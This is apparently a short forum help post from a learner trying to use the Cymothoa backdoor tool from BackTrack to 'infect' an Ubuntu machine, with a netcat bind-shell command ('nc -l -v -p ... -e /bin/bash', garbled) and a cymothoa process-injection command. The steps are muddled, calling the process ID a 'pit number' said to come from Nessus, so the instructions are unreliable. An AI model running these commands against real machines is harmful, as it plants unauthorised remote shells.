use cymothoa on ubuntu

to use cymothoa on ubuntu the steps are :
1. use nessus to get the port and pit number, which are we use to this command
    #nc -l -v -p (the port) -e > cy /bin/bash

    but unfortunately i cant use my nessus, some trouble happend to my web browser (unable to connect/problem loading page), so i cant get the info from nessus report about the por and pit number that i can use. (see the picture )

if can get the port number from nessus, then the next step is
root@bt:/pentest/backdoors/cymothoa# ./cymothoa -p (pit number) -s 0 -y (port number)
if the commnd succed, the ubuntu will be infected.
